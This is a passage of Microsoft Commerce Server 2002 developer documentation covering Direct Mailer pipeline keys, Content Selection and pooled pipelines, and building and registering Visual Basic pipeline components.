cdo_message | Context | A reference to a CDO message object (CDO.Message).
cdo_result | Order | The result code (an HRESULT) from the most recent CDO for Microsoft Windows 2000 operation.
Cookie | Order | The dictionary containing the cookie data.
css_site | Context | The site ID string.
default_formatting | Context | The default format for the message.
default_locale | Order | The locale code to use if there is no recipient locale code (rcp_locale).
default_url | Context | The URL used to retrieve the mailing content.
default_url_content | Context | The content of the file pointed to by default_url if default_url_isfile is True.
default_url_isfile | Context | True if the default URL is a file path and not an http:// path.
delay_msec | Context | The delay between messages in milliseconds.
from_field | Order | The "From" field for the message.
messages_sent | Order | The total number of messages sent for this pipeline cycle.
precomposed_body | Order | The plain-text message body. Defaults to an empty string.
rcp_bypass | Order | Boolean. Component bypasses (skips) processing if True.
rcp_email | Order | The e-mail address of the recipient.
rcp_formatting | Order | The format of the message.
rcp_guid | Order | The GUID uniquely identifying this recipient, taken from the user profile.
rcp_locale | Order | The locale code to use for the recipient.
rcp_personalize | Order | Numeric. Whether or not to personalize the message for this recipient.
rcp_url | Order | The URL used to retrieve the mailing content. Takes precedence over default_url.
rcp_url_content | Order | The content of the file pointed to by rcp_url if rcp_url_isfile is True.
rcp_url_isfile | Order | True if the URL for the content (rcp_url) is a file and not an http:// address.
replyto_field | Order | The "Reply-to" field for the message.
subj_field | Order | The "Subject" field for the message.
use_precomposed_body | Order | Boolean. If True, the component creates the message from the plain-text body assigned to the precomposed_body key.
user_flags | Order | A bit mask indicating elements of the message to check. Only the rightmost bit is currently used.


Direct Mailer Component Reference

The following components are commonly run in the Direct Mailer pipeline:

  • AddAttachments
  • ComposeDMLMessage
  • CreateUPMCookie
  • SendPrecomposedMessage
  • ThrottleDMLPerformance
  • VerifyMessageBody
  • VerifyRecipientData


Content Selection Pipelines

The Content Selection pipelines are a significant part of the Content Selection Framework (CSF). They are used to select content or discounts, and to record events such as ad click-throughs.

This section contains:

  • About Content Selection Pipelines. Describes the role of Content Selection pipelines in the CSF, and introduces the two different forms of Content Selection pipelines.
  • Stages and Components in Content Selection Pipelines. Describes the individual stages in Content Selection pipelines and the components most often used in those stages.
  • Using Content Selection Pipelines. Explains how to use Content Selection pipeline components in Commerce Server sites.
  • Content Selection Component Reference. Lists the pipeline components used in Content Selection pipelines.


About Content Selection Pipelines

Content Selection pipelines are used with the CacheManager object and the ContentSelector object to select content items or other custom content, including discounts.

The advertising and discount delivery engines in Microsoft Commerce Server 2002 are built using Content Selection pipelines. You can create your own pipelines to do different types of content selection.

Two distinct pipelines exist for each content selection application. The first pipeline is responsible for selecting content to be displayed, and is known as the Content Selection pipeline (CSP). It is based on the ContentSelection.pct pipeline-template file. The second pipeline is responsible for processing events related to the displayed content, and is known as the Event Processing pipeline (EPP). An example of such an event is a user clicking on an ad or an ad being selected for display on a page. The pipeline is based on the EventProcessing.pct pipeline-template file.

Note

  • Although Content Selection pipelines are used to select discounts, the discounts are not applied in Content Selection pipelines. Discounts are applied to orders by the OrderDiscount pipeline component in an Order Processing pipeline.

The following table shows the CSP stages and the pipeline components provided for each of those stages, for each application.

CSP Stage | Advertising Application Pipeline Components | Discount Application Pipeline Components
Load Context | InitCSFPipeline LoadHistory | InitCSFPipeline LoadHistory
Filter | FilterContent | FilterContent
Initial Score | AdvertisingNeedOfDelivery | Not applicable
Score | HistoryPenalty EvalTargetGroups | ScoreDiscounts HistoryPenalty EvalTargetGroups
Select | SelectWinners | SelectWinners
Record | RecordHistory SaveHistory RecordEvent IISAppendToLog | RecordHistory SaveHistory RecordEvent IISAppendToLog
Format | FormatTemplate | FormatTemplate

The following table shows the EPP stages and the pipeline components provided for each of those stages, for each application.

EPP Stage | Advertising Application Pipeline Components | Discount Application Pipeline Components
Load Context | None | None
Record | RecordEvent IISAppendToLog | RecordEvent IISAppendToLog
Format | None | None


Stages and Components in Content Selection Pipelines

The following sections describe the stages and components in the Content Selection and Event Processing pipelines. The Content Selection pipeline selects custom content, such as ads or discounts, while the Event Processing pipeline processes events such as a user clicking on an ad.

This section contains:

  • Content Selection Pipeline
  • Event Processing Pipeline


Content Selection Pipeline

The Content Selection pipeline runs components that gather, filter, score, and select content. This pipeline is often used to select ads or discounts.

The Content Selection pipeline consists of the following stages:

  • Load Context Stage
  • Filter Stage
  • Initial Score Stage
  • Scoring Stage
  • Select Stage
  • Record Stage
  • Format Stage

Load Context Stage

This stage contains components that prepare for the execution of the rest of the pipeline.

The components related to this stage are shown in the following table.

Component | Description
InitCSFPipeline | Initializes values needed in the remainder of the pipeline.
LoadHistory | Retrieves a history string from a user profile, an item in the Active Server Pages (ASP) session collection, or a cookie.

Filter Stage

This stage contains components that filter or trim the content list.

The components related to this stage are shown in the following table.

Component | Description
FilterContent | Applies provided filters to the content list.

Initial Score Stage

This stage sets an initial score for each content item.

The components related to this stage are shown in the following table.

Component | Description
AdvertisingNeedOfDelivery | Scores ads so that they are selected often enough to meet business commitments.

Scoring Stage

This stage contains components that adjust the scores of each content item.

The components related to this stage are shown in the following table.

Component | Description
EvalTargetGroups | Targets particular groups for advertising, content, or discounts by evaluating a list of expressions for each item in the list and adjusting item selection.
HistoryPenalty | Applies penalties to content items based on how recently they have been selected.
ScoreDiscounts | Adjusts scores of discount items to promote discounts most relevant to the current user.

Select Stage

This stage, usually containing a single component, selects one or more content items for return.

The components related to this stage are shown in the following table.

Component | Description
SelectWinners | Selects items based on their final scores.

Record Stage

This stage contains components that record the selection made to a database, the server log file, or a history string.

The components related to this stage are shown in the following table.

Component | Description
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary. The values are used to calculate the Need of Delivery (NOD) of an item.
RecordHistory | Records the identifiers of the winning content items in the history list string.
SaveHistory | Saves the history string in one of three locations: the user profile object, the ASP session collection, or the HTTP cookie.

Format Stage

This stage contains components that format selected items as HTML or XML for return to the page that ran the pipeline.

The components related to this stage are shown in the following table.

Component | Description
FormatTemplate | Merges data from selected items with their associated templates to form formatted strings. These are usually HTML strings ready for display on the page.


Event Processing Pipeline

The Event Processing pipeline runs components that record the occurrence of particular events, such as a user clicking on a particular ad.

The Event Processing pipeline consists of the following stages:

  • Load Context Stage
  • Record Stage
  • Format Stage

Load Context Stage

Microsoft Commerce Server 2002 includes no components for this stage. This stage is provided for custom extensions to the Content Selection Framework (CSF) or for future enhancements to Commerce Server 2002.

Record Stage

This stage contains components that record the selection made to a database, the server log file, or a history string.

The components related to this stage are shown in the following table.

Component | Description
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary. The values are used to calculate the Need of Delivery (NOD) of an item.

Format Stage

Microsoft Commerce Server 2002 includes no components for this stage. This stage is provided for custom extensions to the CSF or for future enhancements to the Commerce Server platform.


Using Content Selection Pipelines

Using Content Selection pipelines included in Microsoft Commerce Server 2002 requires setting up the CacheManager object and the information required by the ContentSelector object. However, custom Content Selection pipelines may or may not use the CacheManager object depending on the size of the content to cache. For code to set up the CacheManager and the ContentSelector objects, see Content Selection Objects.

You can trace the actions of Content Selection pipelines by turning trace mode on for the pipeline. Trace mode uses the ContentSelector object to pass the value to the pipeline. In the following example, if oContentSelector were a ContentSelector object, then the line of code would appear as follows:

oContentSelector.Trace=True

Note

  • Trace mode should not be turned on when running Content Selection pipelines in production Web sites.


Content Selection Component Reference

The following components are commonly run in Content Selection pipelines:

  • AdvertisingNeedOfDelivery
  • EvalTargetGroups
  • FilterContent
  • FormatTemplate
  • HistoryPenalty
  • IISAppendToLog
  • InitCSFPipeline
  • LoadHistory
  • RecordEvent
  • RecordHistory
  • SaveHistory
  • ScoreDiscounts
  • SelectWinners

In addition, the following writer and cache loader components play an important role in Content Selection pipelines:

  • CSFLoadAdvertisements
  • CSFLoadDiscounts
  • CSFWriteEvents


Pooled Pipelines

Commerce Server 2002 Enterprise Edition pooled pipelines use COM+ object pooling to increase both loading and execution speed.

This section contains:

  • About Pooled Pipelines. Describes the PooledPipeline and PooledTxPipeline objects, how pooled and non-pooled components can be run in pooled pipelines, and provides debugging suggestions.
  • Managing Pooled Pipelines. Describes how to change properties of pooled pipeline components in order to maximize pipeline performance, and describes the Commerce Server tools you can use to monitor performance of your pooled pipelines.
  • Poolable Component Reference. Lists all components that are tagged as poolable.


About Pooled Pipelines

Commerce Server 2002 Enterprise Edition supplies two pooled pipeline objects, one for non-transacted pipelines (PooledPipeline) and one for transacted pipelines (PooledTxPipeline). Their use is identical to that of the non-pooled pipeline objects MtsPipeline and MtsTxPipeline. The difference between the two sets of pipelines is that the pooled pipeline objects are registered under COM+ to take advantage of object pooling.

Each of the pooled pipeline objects maintains a table of pipelines. When a pipeline is loaded, a pooled pipeline object first looks in its table of pipelines to see if the pipeline is already loaded. If the pipeline is not loaded already, the pooled pipeline object loads the pipeline and adds an entry to its protected table of pipelines. When the Execute method is called, the pipeline is retrieved from the table and run.

The individual components of a pooled pipeline (if they are poolable) are created once, and then held by the pipeline in the object pool. To be poolable, pipeline components must be free-threaded and cannot maintain state information between executions. Pipeline components written in Microsoft Visual Basic are apartment-threaded; they cannot be pooled. Non-poolable components can still be run within pooled pipelines. However, these components are created each time there is an Execute method call. When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.

Although pooled pipelines are recommended in all new sites, older pipeline objects should be used during debugging. Because pipelines are effectively cached, changes to pipeline configurations may not take effect until either Microsoft Transaction Server (MTS) or Internet Information Services (IIS) is restarted. The objects MtsPipeline and MtsTxPipeline can be used for debugging a new pipeline and the objects PooledPipeline or PooledTxPipeline can be used in the production site.


Managing Pooled Pipelines

You can change properties of COM+ object pools and monitor the performance of those pools using the Component Services administrative tool.

By monitoring pipeline performance and adjusting the parameters of the pooled objects, you can optimize pipeline pooling for your application.

This section contains:

  • Changing Pool Properties of Components
  • Monitoring Pooled Object Performance


Changing Pool Properties of Components

You can specify several properties that determine how COM+ handles the pool of pipeline objects. These properties include:

  • Minimum pool size
  • Maximum pool size
  • Creation request timeout

The minimum pool size is the minimum number of objects that are in the pool and the number of objects created when the application starts. When the pool reaches the maximum pool size, no more objects are created. This includes both active and inactive objects. The creation request timeout value is in milliseconds and specifies how long a client will wait for an object from the pool before the request times out (returns an E_TIMEOUT error).

To change pool properties

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, expand CommercePipeline, and then expand Components.
  3. Right-click the pipeline you want to change, and then select Properties.
  4. In the Properties dialog box, on the Activation tab, do the following:
    Use this | To do this
    Enable object pooling | Enable object pooling for the component.
    Minimum pool size | Type the minimum number of objects that will be maintained in the pool at any time.
    Maximum pool size | Type the maximum number of objects that can exist in the pool at any time.
    Creation timeout (ms) | Type the amount of time (in milliseconds) that the object pool has to provide a requested object.
    Enable object construction | Enable object construction for the component.
    Constructor string | Type a string that will be made available to the object at creation time when object construction is enabled.
    Enable Just in Time Activation | Specify that the object may be repeatedly deactivated and reactivated just in time to handle calls from a client, where the client is unaware that the object was ever deactivated.
    Component supports events and statistics | Enable object event reporting and object statistics, such as object call time.
    Must be activated in caller's context | Ensure that the object can only be activated within the context of its initial caller.
  5. Click OK.

The new pool properties are saved.


Monitoring Pooled Object Performance

You can actively monitor pooled object performance in the Component Services administrative tool. The tool allows you to view the items listed in the following table for each pooled object.

Column | Description
Prog ID | The programmatic identifier of the object.
Objects | Number of objects currently held by clients.
Activated | Number of objects that are currently activated.
Pooled | Total number of objects created by the pool. Includes objects in use and deactivated objects.
In Call | Number of objects in the process of being called.
Call Time | The average call duration of method calls made in the last 20 seconds.

To monitor object status

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, and expand CommercePipeline.
  3. Right-click Components, select View, and then select Status View. The Status View appears on the right of the Component Services screen.


Poolable Component Reference

The following list contains the pipeline components that are tagged as poolable.

A-D

AddAttachment, AdvertisingNeedOfDelivery, ComposeDMLMessage

CreateAUOCookie, DefaultHandling, DefaultHandlingCy

DefaultItemPrice, DefaultItemPriceCy, DefaultOrderSubTotal

DefaultOrderSubTotalCy, DefaultPayment, DefaultShipping

DefaultShippingCy, DefaultShopperInfo, DefaultTax

DefaultTaxCy, DefaultTotal, DefaultTotalCy

E-Q

EvalTargetGroups, FilterContent, FixedHandling

FixedShipping, FlagInventory, FormatTemplate

HistoryPenalty, IISAppendToLog, InitCSFPipeline

LinearHandling, LinearShipping, LoadCSFHistory

LocalInventory, MoneyConverter, OrderDiscount

QueryCatalogInfo, QueryProdInfoADO

R

RecordCSFHistory, RecordEvent, ReduceLocalInventory

RequiredHandling, RequiredHandlingCy, RequiredItemAdjust

RequiredItemAdjustCy, RequiredItemAdjustPrice, RequiredItemAdjustPriceCy

RequiredItemPrice, RequiredItemPriceCy, RequiredOrderAdjust

RequiredOrderAdjustCy, RequiredOrderAdjustPrice, RequiredOrderAdjustPriceCy

RequiredOrderCheck, RequiredOrderInit, RequiredOrderInitCy

RequiredOrderSubTotal, RequiredOrderSubTotalCy, RequiredPayment

RequiredProdInfo, RequiredShipping, RequiredShippingCy

RequiredTax, RequiredTaxCy, RequiredTotal

RequiredTotalCy

S-Z

SQLItemADO, SaveCSFHistory, ScoreDiscounts

Scriptor, SelectWinners, SendPrecomposedMessage

TableHandlingADO, TableShippingADO, ThrottleDMLPerformance

ValidateCCNumber, VerifyMessageBody, VerifyRecipientData


Building Pipeline Components

The Microsoft Commerce Server 2002 pipeline is a software infrastructure that executes a sequence of components. Each component is a custom-tailored Component Object Model (COM) object designed to perform operations on some part of an OrderForm or Dictionary. The pipeline coordinates the interaction of pipeline components by passing the OrderForm or Dictionary object from one component to another.

You can use pipelines to model many linear processes. The two main processes modeled in Commerce Server are order processing, which is handled by the Order Processing pipelines (OPP), and content selection, which is handled by the Content Selection Framework (CSF) pipelines. The OPP automates order processing in a business-to-consumer scenario. The CSF pipelines automate the selection of advertisements and discounts.

Commerce Server includes a set of components that can be combined into a pipeline to support either architecture. In addition, you can create your own components to extend the capabilities of the pipeline architecture, as described in this section.

This section contains:

  • About Pipeline Components. Describes the basic structure of pipeline components and introduces the OrderForm and Dictionary objects on which pipeline components operate.
  • Creating Pipeline Components Using Visual Basic. Explains how to create and build a pipeline component using the Visual Basic Pipeline Component Wizard, as well as how to customize your components using Microsoft Visual Basic.
  • Creating Pipeline Components Using the Active Template Library (ATL). Explains how to create, build, and register a pipeline component using the ATL Pipeline Component Wizard, as well as how to customize your components using C++.
  • Error Levels. Describes the error values returned by pipeline components.
  • MinMaxShip Sample Pipeline Component. Describes the design of the MinMaxShip sample pipeline component and explains how to implement it in Commerce Server pipelines.

Notes

  • Commerce Server includes wizards for creating pipeline components using Microsoft Visual Basic and Microsoft Visual C++. For the most current sample code for the components, see the ATL Pipeline Component Wizard, the Visual Basic Pipeline Component Wizard, and the complete sample code in the Programmer's Reference.
  • You must have Visual C++ version 6.0 or Visual Basic version 6.0 or higher installed on your computer in order to use the ATL Pipeline Component Wizard.

See Also

Programmer's Reference

Working with Pipelines

Order Processing Pipelines

OrderForm Object

Dictionary Object


About Pipeline Components

A pipeline component is a Component Object Model (COM) server object that implements the IPipelineComponent interface. The following is the definition of this interface as it appears in the Pipecomp.idl file:

    interface IPipelineComponent : IUnknown
    {
        import "oaidl.idl";

        HRESULT Execute(
                    [in]            IDispatch*  pdispOrder,
                    [in]            IDispatch*  pdispContext,
                    [in]            LONG        lFlags,
                    [out,retval]    LONG*       plErrorLevel
                );

        //
        // By default, a pipeline is in "execution mode", this call is
        // used to prepare the pipeline for "design mode" (fEnable ==
        //  TRUE) or to go to design mode (fEnable = FALSE).
        //

        HRESULT EnableDesign( [in]    BOOL fEnable );

    };

When the pipeline creates an instance of a component, it requests an interface pointer to the IPipelineComponent implementation of the component, then uses this pointer to invoke the IPipelineComponent::Execute method.

IPipelineComponent is the only interface that a component must implement to function within the pipeline. However, to enhance the usability of a component, or to take advantage of the transaction capabilities of COM+, you may also design your component to implement one or more of the following interfaces:

  • IDispatch. Implementing this interface is optional. However, it makes it possible for clients to access the capabilities of your component from macro languages, such as Visual Basic Scripting Edition (VBScript) or Visual Basic.
  • IPipelineComponentAdmin. This interface is a component configuration interface. If your component requires configuration at design time, then you should implement this interface. The IPipelineComponentAdmin interface defines the GetConfigData and SetConfigData methods, to which the caller passes a Dictionary object. The GetConfigData and SetConfigData methods write or read this Dictionary object to retrieve or set configuration data on the component.
  • IPipelineComponentDescription. When you implement this interface, you identify to the Pipeline Editor the keys and values in the OrderForm object that your component reads and writes, as well as the pipeline context values that your component uses. The Pipeline Editor displays these keys when the user selects the Values Read and Written tab for the component.
  • IPersistStreamInit. This interface allows components written in C++ to save data to the configuration file. Visual Basic components cannot implement this interface. For Visual Basic components, the IPipelineComponentAdmin interface is used to get and save data to and from the configuration file.
  • ISpecifyPropertyPages. This interface allows your component to specify property pages for use in the Pipeline Editor.

See Also

IPipelineComponent Interface

IPipelineComponent::Execute

IPipelineComponentAdmin Interface

IPipelineComponentDescription Interface

IPersistStreamInit Interface

ISpecifyPropertyPages Interface

IPipelineComponentAdmin::GetConfigData

IPipelineComponentAdmin::SetConfigData


Creating Pipeline Components Using Visual Basic

By creating your own components you can customize the pipeline your customers use. If your business requires these custom components, you can create them using the Visual Basic Pipeline Component Wizard and Microsoft Visual Basic version 6.0 or higher, and register them using the Pipeline Component Registration Tool.

You can write pipeline components in Visual Basic. However, Visual Basic components will, in general, be slower than the same component written in Microsoft Visual C++. For more information about additional limitations to components written in Visual Basic, see Special Considerations for Visual Basic Pipeline Components.

This section contains:

  • Using the Visual Basic Pipeline Component Wizard
  • Implementing the IPipelineComponent Interface
  • Persisting Data
  • Using the Pipeline Component Registration Tool
  • Special Considerations for Visual Basic Pipeline Components


Using the Visual Basic Pipeline Component Wizard

The Visual Basic Pipeline Component Wizard gives site developers point-and-click access to creating a framework code base for creating pipeline components. This wizard is provided as a new project item in the Visual Basic projects menu, and generates code based on responses provided by the user to a series of questions. Previous knowledge of the Visual Basic language is required to complete this wizard.

This section contains:

  • Installing the Visual Basic Pipeline Component Wizard
  • Running the Visual Basic Pipeline Component Wizard

See Also

Implementing the IPipelineComponent Interface

Persisting Data

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Installing the Visual Basic Pipeline Component Wizard

Registering the PipelineCompWizard.dll causes a new project item to be installed in Visual Basic.

To register the PipelineCompWizard.DLL

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the Visual Basic Pipeline Component Wizard. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\SDK\Tools\VB Pipe Wizard\PipelineCompWizard.dll", and then click OK.

The RegSvr32 dialog box appears indicating success in registering the PipelineCompWizard.dll.

See Also

Running the Visual Basic Pipeline Component Wizard


Running the Visual Basic Pipeline Component Wizard

The Visual Basic Pipeline Component Wizard enables you to create a framework from which you can build custom pipeline components. The Visual Basic Pipeline Component Wizard configures the pipeline component to the specifications set while running the wizard.

To run the Visual Basic Pipeline Component Wizard

To register the DLL components

To run the Visual Basic Pipeline Component Wizard

  1. Click Start, point to Programs, and then click Microsoft Visual Basic 6.0.

    Or, if you have Microsoft Visual Studio 6.0 installed, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.

  2. To open the wizard, on the File menu, click New Project.
  3. In the New Project dialog box, double-click Pipeline Component Wizard.

    The Pipeline Component Wizard - Introduction (Step 1 of 7) dialog box appears.

  4. Click Next to begin using the wizard.
  5. In the Pipeline Component Wizard - Transaction Support (Step 2 of 7) dialog box, click Yes to support transacted pipelines or click No if you want to use non-transacted pipelines, and then click Next.
  6. In the Pipeline Component Wizard - Shipping Support (Step 3 of 7) dialog box, click Yes to support the new multiple-shipping architecture used in Microsoft Commerce Server 2002 or click No if you want to create a component that does not process shipments. (If you are creating a Shipping or Tax component, click Yes.) Click Next.
  7. In the Pipeline Component Wizard - Component Properties (Step 4 of 7) dialog box, click Add.
  8. In the Add Property dialog box, in the Property name box, type the name of the property you want to add.
  9. In the Data type box, select the data type for the property from the drop-down list, and then click OK.

    The property you added appears in the Properties box in the Pipeline Component Wizard - Component Properties (Step 4 of 7) dialog box.

  10. If you want to remove any unwanted properties, in the Properties box, select the property you want to remove, and then click Remove. To add additional properties complete steps 7, 8, and 9 for each additional property.
  11. Click Next.
  12. In the Pipeline Component Wizard - Project, Class, and Form Names (Step 5 of 7) dialog box, do the following:
    Use this | To do this
    Project Name (*.vbp) | Type a name for the project or leave the default value.
    Pipeline Component Class (*.cls) | Type a component class name for the project or leave the default value.
    Pipeline Component UI Class (*.cls) | Type a component UI class name or leave the default value.
    Pipeline Component UI Form (*.frm) | Type a component UI form name or leave the default value.

    These values will be the names for the project, the form, and the classes created by the wizard.

  13. Click Next.
  14. In the Pipeline Component Wizard - Select Directory (Step 6 of 7) dialog box, select the location for storing the files the wizard will generate.
  15. In the Pipeline Component Wizard - Finished! (Step 7 of 7) dialog box, click Finish to build your component based on the information you provided in the wizard.

Three new component pages appear in the Visual Basic project window: the class module code corresponding to the Pipeline component, the class module corresponding to the Pipeline UI component, and a form corresponding to the Pipeline UI component. Before registering your component for stage affinity you must register the DLL components at the command line.

To register the DLL components

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the pipeline component. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\<project name>.dll", and then click OK.

    The RegSvr32 dialog box appears indicating success in registering the .dll file.

  3. Repeat Step 2 for the component UI. For example, type regsvr32, "C:\Program Files\Microsoft Commerce Server\<project name>UI.dll" and then click OK.

Your new component is now registered.

All custom components written in Visual Basic must be registered for stage affinity using the Pipeline Component Registration Tool. For more information about registering components, see Using the Pipeline Component Registration Tool.


Implementing the IPipelineComponent Interface

All pipeline components must implement the IPipelineComponent interface to function within the Pipeline Editor. If you have created your pipeline component using the Visual Basic Pipeline Component Wizard, your component supports this interface.

In a Microsoft ActiveX dynamic-link library (DLL), the pipeline component is a class in the DLL that implements one or more of the pipeline component interfaces. You add a reference to the type library defining the interfaces, add the appropriate implementation statements, and write the implementation code. This is done for you if you used the Visual Basic Pipeline Component Wizard.

For detailed instructions about implementing COM interfaces in Visual Basic, see "Creating and Implementing an Interface" and "Implementing and Using Standard Interfaces" in Visual Basic Help.

All pipeline component interfaces are described in a type library named Pipecomplib.tlb. If you look at the code created by the Visual Basic Pipeline Component Wizard in Running the Visual Basic Pipeline Component Wizard, you will see that the project includes a reference to this library.

The code for the class begins with the following lines:

Implements IPersistDictionary
Implements IPipelineComponent
Implements ISpecifyPipelineComponentUI
Implements IPipelineComponentDescription
Implements IPipelineComponentAdmin

This component implements four interfaces in addition to the IPipelineComponent interface. For more information about the other interfaces implemented by the Visual Basic Pipeline Component Wizard, see Pipeline Component Interfaces.

Further down in the code, you can see the code implementing the two methods of the IPipelineComponent interface, the EnableDesign method, and the Execute method.

The code for the EnableDesign method is:

Private Sub IPipelineComponent_EnableDesign(ByVal fEnable As Long)
End Sub

The EnableDesign method is used by the Pipeline Editor to tell the component when it is being used in design mode and when it is being executed. No changes need to be made to this code.

The Execute method contains most of the functionality of the component. It determines whether or not there was an error, and if the pipeline can continue to execute. The following outline of the Execute method is straightforward:

' Execute() -- This function gets called when the pipeline runs.
' Return 1 for success, 2 for user warnings, 3 for error.
Private Function IPipelineComponent_Execute(ByVal objOrderForm As Object, ByVal objContext As Object, ByVal 1Flags As Long) As Long

      ' Initialization of variables

      IPipelineComponent_Execute = 1

      ' The implementation of the component appears here.

End Function

Note

  • Although it might appear that the dictionaries are passed by value, that is not the case. What is passed by value is a reference to the dictionary — its address (not the contents of the dictionary). A reference passed by value is basically the same as the object passed by reference.

The Execute method is a function that returns a Long. It returns one of three values: 1 for success, 2 for user warnings, and 3 for an error that should stop execution of the pipeline.

For detailed instructions about implementing COM interfaces in Visual Basic, see "Creating and Implementing an Interface" and "Implementing and Using Standard Interfaces" in Visual Basic Help.

Using Commerce Server Objects

Pipeline components written in Visual Basic can use Commerce Server objects. The project for a component created using the Visual Basic Pipeline Component Wizard includes a reference to the Microsoft Commerce 2000 Core Components Type Library and creates variables of the CDictionary type and assigns the dictionaries passed to the Execute method to the variables:

 ' Initialize the PipeCtx dictionary as
 ' CDictionary variables
    Dim objPipeCtx As CDictionary
    Set objPipeCtx = objContext

Note

  • The dictionary has a type library name of CDictionary and a ProgID of Commerce.Dictionary.

For example, if your component includes a reference to the Microsoft Commerce 2000 Core Components Type Library, you can take advantage of early binding, and strongly type your variables in the declaration of the variables:

Dim dictLocalDictionary As Cdictionary
Set dictLocalDictionary = New CDictionary
dictLocalDictionary("Nickel") = ("what is nickel")

See Programmer's Reference for a complete list of objects in Commerce Server and for details about their use.

See Also

Pipeline Component Interfaces

Using the Visual Basic Pipeline Component Wizard

Persisting Data

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Persisting Data

Visual Basic pipeline components can use the IPersistDictionary interface to implement persistence. The Pipeline Editor and pipelines themselves support this interface for loading and saving. The IPersistDictionary interface is used to persist data for a pipeline component. The Pipeline Editor uses the IPersistDictionary interface to get configuration values from the component and save them in the pipeline configuration file through the Save method.

Similarly, the pipeline passes a dictionary loaded with the previously saved values to the component. Because the Pipeline Editor handles the storage of the data, the component needs only to manipulate a dictionary.

The following table describes the methods of the IPersistDictionary interface.

Method | Description
GetProgID | Returns the ProgID of the component.
IsDirty | Returns a Boolean value of True if the values have changed since they were last saved.
InitNew | Called to initialize the object.
Load | Loads the Dictionary object with the saved values.
Save | Saves the values in the Dictionary object.

The InitNew method initializes the default values for a new instance of the object. In the code created by the Visual Basic Pipeline Component Wizard in Running the Visual Basic Pipeline Component Wizard, the method is called by the Pipeline Editor:

Private Sub IPersistDictionary_InitNew()
    FIsDirty = False
End Sub

The IsDirty method checks whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag is cleared by the object in its implementation of the IPersistDictionary::Save method.

The GetProgID method must return the ProgID of the object. In the example, this is a constant that matches the ProgID under which the object is registered. By default, in an ActiveX DLL this is the project name followed by a period and the class name. For example:

Private Function IPersistDictionary_GetProgID() As String
    IPersistDictionary_GetProgID = "MyProject.ClassName"
End Function
Private Function IPersistDictionary_IsDirty() As Long
    IPersistDictionary_IsDirty = fIsDirty
End Function

The IPersistDictionary interface provides a convenient way for pipeline components housed in ActiveX DLLs to save configuration values. If a component is implemented as an ActiveX Control, the component can use the control property bag to save the configuration values.

Note

  • Although you can create your pipeline component as a Visual Basic ActiveX control and use the property page of the control as the configuration tab in the Pipeline Editor, this is not recommended.

See Also

IPersistDictionary Interface

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Using the Pipeline Component Registration Tool

Microsoft Commerce Server 2002 includes the Pipeline Component Registration Tool for efficient registration of pipeline components written in Visual Basic. Typically, registration would be done using the DllRegisterServer entry-point routine, as is done in C++. However, because Visual Basic developers cannot export functions from their components, they usually have to find a way to register the components themselves, which can be a difficult task.

The Pipeline Component Registration Tool simplifies the registration process by registering pipeline components for stage affinity and then exporting the data to a Registry Script (.reg) file so it can be deployed on other servers.

To open the Pipeline Component Registration Tool

To register your pipeline component(s)

To open the Pipeline Component Registration Tool

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. In Windows Explorer, navigate to <drive>:\Program Files\Microsoft Commerce Server\SDK\Tools\Registration Tool.
  3. Double-click the PipeReg.exe icon.

The Pipeline Component Registration Wizard appears. You can now begin registering your component(s).

To register your pipeline component(s)

  1. In the Pipeline Component Registration Wizard (Step 1 of 3) dialog box, do the following:
    Use this | To do this
    Select component by ProgID | Type the ProgID for the component you want to register in the ProgID box. This registers a single component.
    Select component Type Library | Type the path to the Type Library (.tlb or .dll) for the component(s) you want to register in the Path box. This registers some or all of the components in the indicated type library.
  2. Click Next.
  3. If you selected the option Select component by ProgID, in the Pipeline Component Registration Wizard (Step 2 of 3) dialog box, or, if you selected Select component Type Library and selected a type library with only a single component, do the following:
    Use this | To do this
    Available Categories | Select from the list of available pipeline stages in which you want to make your component available, and then click the right arrow button to move the pipeline stages to the Selected Categories box.
    Selected Categories | Select from the list of available pipeline stages that you do not want this component to appear in, and then click the left arrow button to remove those stages.
    Add Custom Stage | Click to add a custom stage for this component. In the Add Custom Stage dialog box, type the custom stage label in the Label box, type the GUID for the custom stage in the GUID box, and then click OK.

    Click Next.

  4. If you selected the option Select component Type Library and selected a type library with more than one component, in the Pipeline Component Registration Wizard [Select Components] dialog box select the components you would like to register, and then click Next.

    Return to Step 3 for each component you selected.

  5. In the Pipeline Component Wizard [Registration] dialog box, do one of the following:
    Use this | To do this
    Register components only | Click to update the Implemented Categories of the component for the corresponding registry hive. This option is best for the workstation of a site developer, where components and stages may change on a regular basis.
    Export registration data | Click to export the registry information to a registry script. In the Export path box, select the path to which you want the registry script exported.
    Register and export data | Click to register and export the registration data to a registry script. In the Export path box, select the path to which you want the registry script exported.

    Click Next.

  6. In the Pipeline Component Registration Wizard [Finished] dialog box, review the information to make sure the correct components were loaded and exported to the correct path.
  7. To close the Pipeline Component Registration Wizard, click Close.

